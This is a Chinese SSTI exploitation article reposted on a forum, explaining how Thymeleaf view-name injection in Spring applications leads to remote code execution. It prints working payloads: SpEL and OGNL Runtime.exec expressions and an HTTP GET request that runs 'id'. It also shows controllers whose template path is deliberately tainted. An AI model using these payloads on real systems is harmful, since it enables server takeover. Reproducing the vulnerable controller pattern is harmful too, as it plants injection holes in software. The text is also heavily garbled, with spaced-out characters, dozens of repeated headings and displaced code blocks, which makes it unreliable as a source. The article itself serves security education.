搜索

[6955] 2020-10-01_在Thymeleaf中利用SSTI

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-10-01_在Thymeleaf中利用SSTI 在 T h y m e l e a f 中 利 用 S S T I E 安 全   2 0 2 0 - 1 0 - 0 1 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 4 c k 1 k N o . 1 N o . 1 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 简 介 简 介 T h y m e l e a f 是 用 于 J a v a 的 现 代 服 务 器 端 模 板 引 擎 ， 基 于 X M L   /   X H T M L   /   H T M L 5 语 法 。 该 引 擎 的 核 心 优 势 之 一 是 自 然 模 板 化 ( h t t p s : / / w w w . t h y m e l e a f . o r g / #   n a t u r a l - t e m p l a t e s ) 这 意 味 着 T h y m e l e a f   H T M L 模 板 的 外 观 和 工 作 方 式 类 似 于 H T M L ， 通 过 在 H T M L 标 签 中 使 用 其 他 属 性 来 实 现 的 。 这 是 一 个 官 方 示 例 ： N o . 2 N o . 2 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 T h y m e l e a f 的 特 点 的 特 点 •   动 静 结 合 ： T h y m e l e a f   在 有 网 络 和 无 网 络 的 环 境 下 皆 可 运 行 ， 即 它 可 以 让 美 工 在 浏 览 器 查 看 页 面 的 静 态 效 果 ， 也 可 以 让 程 序 员 在 服 务 器 查 看 带 数 据 的 动 态 页 面 效 果 。 这 是 由 于 它 支 持   h t m l   原 型 ， 然 后 在   h t m l   标 签 里 增 加 额 外 的 属 性 来 达 到 模 板 + 数 据 的 展 示 方 式 。 浏 览 器 解 释   h t m l   时 会 忽 略 未 定 义 的 标 签 属 性 ， 所 以   t h y m e l e a f   的 模 板 可 以 静 态 地 运 行 ； 当 有 数 据 返 回 到 页 面 时 ， T h y m e l e a f   标 签 会 动 态 地 替 换 掉 静 态 内 容 ， 使 页 面 动 态 显 示 。 •   开 箱 即 用 ： 它 提 供 标 准 和 s p r i n g 标 准 两 种 方 言 ， 可 以 直 接 套 用 模 板 实 现 J S T L 、   O G N L 表 达 式 效 果 ， 避 免 每 天 套 模 板 、 该 j s t l 、 改 标 签 的 困 扰 。 同 时 开 发 人 员 也 可 以 扩 展 和 创 建 自 定 义 的 方 言 。 •   多 方 言 支 持 ： T h y m e l e a f   提 供 s p r i n g 标 准 方 言 和 一 个 与   S p r i n g M V C   完 美 集 成 的 可 选 模 块 ， 可 以 快 速 的 实 现 表 单 绑 定 、 属 性 编 辑 器 、 国 际 化 等 功 能 。 •   与 S p r i n g B o o t 完 美 整 合 ， S p r i n g B o o t 提 供 了 T h y m e l e a f 的 默 认 配 置 ， 并 且 为 T h y m e l e a f 设 置 了 视 图 解 析 器 ， 我 们 可 以 像 以 前 操 作 j s p 一 样 来 操 作 T h y m e l e a f 。 代 码 几 乎 没 有 任 何 区 别 ， 就 是 在 模 板 语 法 上 有 区 别 。 如 果 使 用 浏 览 器 使 用 此 代 码 打 开 页 面 ， 将 看 到 一 个 已 填 充 的 表 格 ， 并 且 所 有 T h y m e l e a f 特 定 的 属 性 都 将 被 跳 过 。 但 是 ， 当 T h y m e l e a f 处 理 此 模 板 时 ， 它 将 标 签 文 本 替 换 为 传 递 给 模 板 的 值 。 要 在 T h y m e l e a f 中 尝 试 S S T I ， 我 们 首 先 必 须 理 解 出 现 在 T h y m e l e a f 属 性 中 的 表 达 式 。 T h y m e l e a f 表 达 式 可 以 具 有 以 下 类 型 ： •   $ { . . . } ： 变 量 表 达 式 – 实 际 上 ， 它 们 是 O G N L 或 S p r i n g   E L 表 达 式 。 •   * { . . . } ： 选 择 表 达 式 – 与 变 量 表 达 式 类 似 ， 但 用 于 特 定 目 的 。 •   #   { . . . } ： 消 息 （ i 1 8 n ） 表 达 式 – 用 于 国 际 化 。 •   @ { . . . } ： 链 接 （ U R L ） 表 达 式 – 用 于 在 应 用 程 序 中 设 置 正 确 的 U R L   / 路 径 。 •   ~ { . . . } ： 片 段 表 达 式 – 它 们 使 您 可 以 重 用 模 板 的 一 部 分 。 S S T I 的 典 型 测 试 表 达 式 为 $ { 7 * 7 } 。 此 表 达 式 在 T h y m e l e a f 中 也 适 用 。 如 果 要 实 现 远 程 代 码 执 行 ， 可 以 使 用 以 下 测 试 表 达 式 之 一 ： •   S p r i n g E L :   $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( ' c a l c ' ) } •   O G N L ： $ { #   r t   =   @ j a v a . l a n g . R u n t i m e @ g e t R u n t i m e ( ) , #   r t . e x e c ( " c a l c " ) } 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 < t a b l e >     < t h e a d >         < t r >             < t h   t h : t e x t = " #   { m s g s . h e a d e r s . n a m e } " > N a m e < / t h >             < t h   t h : t e x t = " #   { m s g s . h e a d e r s . p r i c e } " > P r i c e < / t h >         < / t r >     < / t h e a d >     < t b o d y >         < t r   t h : e a c h = " p r o d :   $ { a l l P r o d u c t s } " >             < t d   t h : t e x t = " $ { p r o d . n a m e } " > O r a n g e s < / t d >             < t d   t h : t e x t = " $ { #   n u m b e r s . f o r m a t D e c i m a l ( p r o d . p r i c e ,   1 ,   2 ) } " > 0 . 9 9 < / t d >         < / t r >     < / t b o d y > < / t a b l e >
如 果 我 们 深 入 研 究 T h y m e l e a f 模 板 引 擎 的 文 档 ， 将 会 发 现 一 个 有 趣 的 功 能 ， 称 为 表 达 式 预 处 理 。 对 置 于 双 下 划 线 （ _ _ . . . _ _ ） 之 间 的 表 达 式 进 行 预 处 理 ， 并 将 预 处 理 结 果 用 作 常 规 处 理 过 程 中 表 达 式 的 一 部 分 。 这 是 T h y m e l e a f 文 档 中 的 一 个 官 方 示 例 ： 进 行 预 处 理 $ { s e l . c o d e } 。 将 结 果 （ 在 本 例 中 为 存 储 值 * A L L ） 用 作 稍 后 评 估 的 实 数 表 达 式 （ #   { s e l e c t i o n . A L L } ） 的 一 部 分 。 服 务 器 端 模 板 注 入 （ S S T I ） 是 使 攻 击 者 可 以 将 代 码 注 入 此 类 服 务 器 端 模 板 中 的 漏 洞 。 简 单 来 说 ， 攻 击 者 可 以 引 入 服 务 器 端 模 板 实 际 处 理 的 代 码 。 N o . 3 N o . 3 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 漏 洞 演 示 使 用 T h y m e l e a f 作 为 模 板 引 擎 的 最 简 单 的 S p r i n g 应 用 程 序 ： 文 件 结 构 ： H e l l o C o n t r o l l e r . j a v a : ( h t t p s : / / g i t h u b . c o m / v e r a c o d e - r e s e a r c h / s p r i n g - v i e w - m a n i p u l a t i o n / b l o b / m a s t e r / s r c / m a i n / j a v a / c o m / v e r a c o d e / r e s e a r c h / H e l l o C o n t r o l l e r . j a v a ) 由 于 使 用 @ C o n t r o l l e r 和 @ G e t M a p p i n g ( " / " ) 注 释 ， 将 为 U R L （ ' / ' ） 的 每 个 H T T P   G E T 请 求 调 用 此 方 法 ， 并 返 回 静 态 字 符 串 “   w e l c o m e ”   。 S p r i n g   框 架 将 “   w e l c o m e ” 解 释 为 V i e w N a m e ， 并 尝 试 查 找 文 件 “ r e s o u r c e s / t e m p l a t e s / w e l c o m e . h t m l ” 。 如 果 找 到 它 ， 它 将 从 模 板 文 件 渲 染 视 图 并 返 回 给 用 户 。 如 果 正 在 使 用 T h y m e l e a f 视 图 引 擎 ， 则 模 板 可 能 如 下 所 示 w e l c o m e . h t m l ： ( h t t p s : / / g i t h u b . c o m / v e r a c o d e - r e s e a r c h / s p r i n g - v i e w - m a n i p u l a t i o n / b l o b / m a s t e r / s r c / m a i n / r e s o u r c e s / t e m p l a t e s / w e l c o m e . h t m l ) T h y m e l e a f 引 擎 支 持 f i l e   l a y o u t s 。 通 过 使 用 模 板 中 的 指 定 代 码 < d i v   t h : f r a g m e n t = " m a i n " > ， 然 后 仅 从 v i e w 中 请 求 下 面 代 码 ： 第 一 种 情 况 可 能 包 含 潜 在 的 路 径 穿 越 漏 洞 ， 但 用 户 限 制 “ t e m p l a t e s ” 文 件 夹 ， 无 法 查 看 其 外 部 的 任 何 文 件 。 #   { s e l e c t i o n . _ _ $ { s e l . c o d e } _ _ } @ C o n t r o l l e r p u b l i c   c l a s s   H e l l o C o n t r o l l e r   {         @ G e t M a p p i n g ( " / " )         p u b l i c   S t r i n g   i n d e x ( M o d e l   m o d e l )   {                 m o d e l . a d d A t t r i b u t e ( " m e s s a g e " ,   " h a p p y   b i r t h d a y " ) ;                 r e t u r n   " w e l c o m e " ;         } } < ! D O C T Y P E   H T M L > < h t m l   l a n g = " e n "   x m l n s : t h = " h t t p : / / w w w . t h y m e l e a f . o r g " > < d i v   t h : f r a g m e n t = " h e a d e r " >         < h 3 > S p r i n g   B o o t   W e b   T h y m e l e a f   E x a m p l e < / h 3 > < / d i v > < d i v   t h : f r a g m e n t = " m a i n " >         < s p a n   t h : t e x t = " ' H e l l o ,   '   +   $ { m e s s a g e } " > < / s p a n > < / d i v > < / h t m l > @ G e t M a p p i n g ( " / m a i n " ) p u b l i c   S t r i n g   f r a g m e n t ( )   {         r e t u r n   " w e l c o m e   : :   m a i n " ; } @ G e t M a p p i n g ( " / p a t h " ) p u b l i c   S t r i n g   p a t h ( @ R e q u e s t P a r a m   S t r i n g   l a n g )   {         r e t u r n   " u s e r / "   +   l a n g   +   " / w e l c o m e " ;   / / t e m p l a t e   p a t h   i s   t a i n t e d }
利 用 方 法 是 尝 试 找 到 一 个 单 独 的 文 件 上 传 并 创 建 一 个 新 模 板 。 在 从 文 件 系 统 加 载 模 板 之 前 ， S p r i n g   T h y m e l e a f V i e w ( h t t p s : / / g i t h u b . c o m / t h y m e l e a f / t h y m e l e a f - s p r i n g / b l o b / 7 4 c 4 2 0 3 b d 5 a 2 9 3 5 e f 5 e 5 7 1 7 9 1 c 7 f 2 8 6 e 6 2 8 b 6 c 3 1 / t h y m e l e a f - s p r i n g 3 / s r c / m a i n / j a v a / o r g / t h y m e l e a f / s p r i n g 3 / v i e w / T h y m e l e a f V i e w . j a v a ) 类 将 模 板 名 称 解 析 为 一 个 表 达 式 ： 因 此 ， 无 法 通 过 路 径 穿 越 实 现 攻 击 利 用 ， 仅 能 通 过 表 达 式 语 言 注 入 来 利 用 。 N o . 4 N o . 4 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 攻 击 利 用 通 过 在 表 达 式 加 上 _ _ $ { 和 } _ _ : : . x ， 由 t h y m e l e a f 执 行 。 每 当 传 入 的 恶 意 数 据 到 达 从 c o n t r o l l e r 返 回 的 v i e w   n a m e 时 ， 可 能 导 致 表 达 式 语 言 注 入 ， 并 因 此 导 致 远 程 代 码 执 行 。 观 察 s p r i n g 日 志 输 出 : E R R O R   3 8 5 0 8   - - -   [ n i o - 8 0 9 0 - e x e c - 1 ]   o . a . c . c . C . [ . [ . [ / ] . [ d i s p a t c h e r S e r v l e t ]   :   S e r v l e t . s e r v i c e ( )   f o r   s e r v l e t   [ d i s p a t c h e r S e r v l e t ]   i n   c o n t e x t   w i t h   p a t h   [ ]   t h r e w   e x c e p t i o n [ R e q u e s t   p r o c e s s i n g   f a i l e d ;   n e s t e d   e x c e p t i o n   i s   o r g . t h y m e l e a f . e x c e p t i o n s . T e m p l a t e I n p u t E x c e p t i o n : E r r o r   r e s o l v i n g   t e m p l a t e   [ u s e r / u i d = 5 0 1 ( * ) ] ,   t e m p l a t e   m i g h t   n o t   e x i s t   o r   m i g h t   n o t   b e   a c c e s s i b l e   b y   a n y   o f   t h e   c o n f i g u r e d   T e m p l a t e   R e s o l v e r s ]   w i t h   r o o t   c a u s e 参 考 ： h t t p s : / / w w w . a c u n e t i x . c o m / b l o g / w e b - s e c u r i t y - z o n e / e x p l o i t i n g - s s t i - i n - t h y m e l e a f / 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 外 交 部 霸 气 回 应 ： 增 进 自 身 网 络 安 全   保 护 关 键 信 息 基 础 设 施 免 受 威 胁 和 破 坏 黑 客 从 K u C o i n 交 易 所 窃 取 了 超 过 1 . 5 亿 美 元 的 加 密 货 币 （ 附 视 频 ） 微 软 B i n g 应 用 数 据 库 遭 泄 露     多 达 1 亿 条 搜 索 记 录 被 截 取 1 9 年 来 首 次 ！ W i n d o w s   X P 源 代 码 在 网 上 泄 露 S p r i n g b o o t   内 存 s h e l l } @ G e t M a p p i n g ( " / f r a g m e n t " ) p u b l i c   S t r i n g   f r a g m e n t ( @ R e q u e s t P a r a m   S t r i n g   s e c t i o n )   {         r e t u r n   " w e l c o m e   : :   "   +   s e c t i o n ;   / / f r a g m e n t   i s   t a i n t e d } t r y   {       / /   B y   p a r s i n g   i t   a s   a   s t a n d a r d   e x p r e s s i o n ,   w e   m i g h t   p r o f i t   f r o m   t h e   e x p r e s s i o n   c a c h e       f r a g m e n t E x p r e s s i o n   =   ( F r a g m e n t E x p r e s s i o n )   p a r s e r . p a r s e E x p r e s s i o n ( c o n t e x t ,   " ~ { "   +   v i e w T e m p l a t e N a m e   +   " } " ) ; } G E T   / p a t h ? l a n g = _ _ $ { n e w   j a v a . u t i l . S c a n n e r ( T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( " i d " ) . g e t I n p u t S t r e a m ( ) ) . n e x t ( ) } _ _ : : . x   H T T P / 1 . 1
▼ 稿 件 合 作   陈 女 士   1 5 5 5 8 1 9 2 9 5 9 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理